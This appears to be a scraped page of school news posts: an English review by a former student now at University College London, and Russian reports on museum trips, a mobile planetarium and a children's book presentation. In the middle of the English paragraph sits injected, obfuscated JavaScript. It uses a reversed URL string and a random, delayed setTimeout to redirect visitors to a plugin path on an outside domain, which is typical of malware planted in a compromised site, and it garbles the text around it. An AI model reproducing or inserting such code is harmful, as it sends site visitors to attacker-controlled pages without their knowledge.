What Comes Next? School Leaver Review I have graduated from our school at 2015 and now I study information Management for Business at University College London. Life in London I really enjoy being part of the vibrant London life. The city is constantly thriving and developing. London is a major tech and finance centre and it is a perfect place toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to start a successful career. It is no surprise that first-year students are being […]
Кафедра русской словесности МОШ «Интеграция ХХI век» предлагает открытие новой рубрики «Портрет моего учителя», где мы будем помещать творческие работы наших студентов, посвященные учителям школы. Эта творческая рефлексия имеет две цели: 1) показать разнообразные отношения между наставниками и их учениками в сфере обучения и воспитания; 2) познакомить посетителей сайта с преподавателями, чей профессиональный и творческий опыт по достоинству оценивается учащимися школы, их родителями, коллегами, наконец, администрацией школы и может быть использован для обобщения методических идей образовательными центрами. Сегодня мы предлагаем […]
Я, Тимур Исмаилов, студент 9 класса МОШ «Интеграция ХХ1 век», веду свой репортаж из МХАТа им. Горького. Через несколько минут здесь начнется спектакль «Ромео и Джульетта», поставленный по одноименной трагедии У. Шекспира. Мы находимся в холле театра в ожидании третьего звонка. Настрой перед спектаклем разный, но все в предвкушении ожидаемой постановки. Незадолго до этого на уроках литературы мы вели речь об эпохе Возрождения и анализировали трагедию Шекспира, а теперь хотим увидеть ее героев в театре с профессиональными актерами. Совпадет ли […]
В субботу, 26 ноября, 8 и 9 классы едут на экскурсию в Андроников монастырь и музей Андрея Рублёва. Коллекция музея насчитывает тысячи произведений древнерусского и прикладного искусства. Ребята познакомятся с собранием иконописи, редчайшими экземплярами рукописных и старопечатных книг, предметами церковной утвари, копиями росписей, принадлежащих Феофану Греку, Андрею Рублеву, Дионисию и многими другими раритетами.
9 ноября ученики 8-х классов посетили интерактивный музей «Живые системы». Экспозиция музея посвящена физиологии человека и представляет собой ряд интерактивных стендов свободного доступа, где ученики могли не только узнать много новых научных фактов, но и проверить их своими руками, глазами, а порой и всем туловищем. Экскурсии в таких занимательных местах дело неблагодарное, поэтому ученикам было предложено посоревноваться, кто сможет найти как можно больше ответов в музее на предложенные вопросы по строению человека. Какой длинны кишечник у взрослого человека? Сколько воды […]
В среду нас посетил Мобильный планетарий, который дал возможность нашим ученикам коснуться космоса, посмотреть фильмы про астрономию и открыть для себя новые знания. Ученики посещали планетарий в рамках спецкурса по астрономии, хоть и не все на него ходят. Впечатлениями делятся ученики нашей Школы: Мы посмотрели фильм, где я узнала много нового, например про то, что Солнце — карликовая звезда, что есть «красные затмения», что у Юпитера есть кольца, которые состоят из частиц размером с дом, и многое другое. Мне очень […]
В Москве существует программа «Ученые – школьникам: Наука как профессия». Мы присоединились к программе — и уже встречались с гостем из Пущинского государственного естественно-научного института Машкиным Петром Васильевичем. Оказывается, моллюски и раки помогают следить за чистотой воды в Москве и Санкт-Петербурге! И для этого у них снимают кардиограмму. Мы видели как это делается, и наблюдали за изменениями, происходящими в кардиограмме моллюска, если его просто потревожить. Для меня было очень интересно наблюдать за нашими учениками не только во время демонстрации моллюсков, […]
В среду 26 декабря я побывал в восхитительном месте – Геологическом музее имени В.И. Вернадского. Я даже не подозревал, что там нас ждет много интересного и странного. Пирит – минерал, изначально имеющий форму кубика, а пемза – вулканический камень, имеющий низкую плотность, и многое другое. Я очень внимательно вслушивался в слова экскурсовода. И узнал о том, что есть метаморфозные породы, произошедшие из других пород (глины-сланцы, торф-уголь, известняк-мрамор). Еще у кристаллов есть своя заданная форма и это объясняет их причудливый вид. […]
«Что такое наука? Кто такие ученые? Откуда появились те предметы, которые нас окружают?» Эти и многие другие вопросы задавали себе учащиеся 2х классов, когда начали работать над темой исследования «Где мы во времени и пространстве». Всю первую четверть ребята собирали информацию и делали выводы, чтобы определиться, что изобретения помогают познавать мир. А что лучше поможет понять теорию, чем практика? В процессе исследования ребята попробовали себя в роли изобретателей — каждый придумал что-то своё и представил это классу. Получился небольшой фильм-презнтация, […]
У студентов нашей школы появилась уникальная возможность побывать в столице Хорватии Загребе на презентации книги Натальи Листиковой «Солнцеворот», проиллюстрированной рисунками детей. Это стало важным событием в деле взаимодействия и дружбы детей многих национальностей, ведь в книгу вошли работы представителей разных стран. Рисунки Софии Кузиной, ученицы нашей школы, украшают обложку этой замечательной книги, а иллюстрации Ивана Дронова, Анастасии Портновой, Анны Певчих, Кирилла Портнова, Олега Ким, Андрея Мичкова, Ольги Кардашиди, Софьи Сеначиной, Анастасии Нечаевой, отмечены как самые интересные и также вошли в […]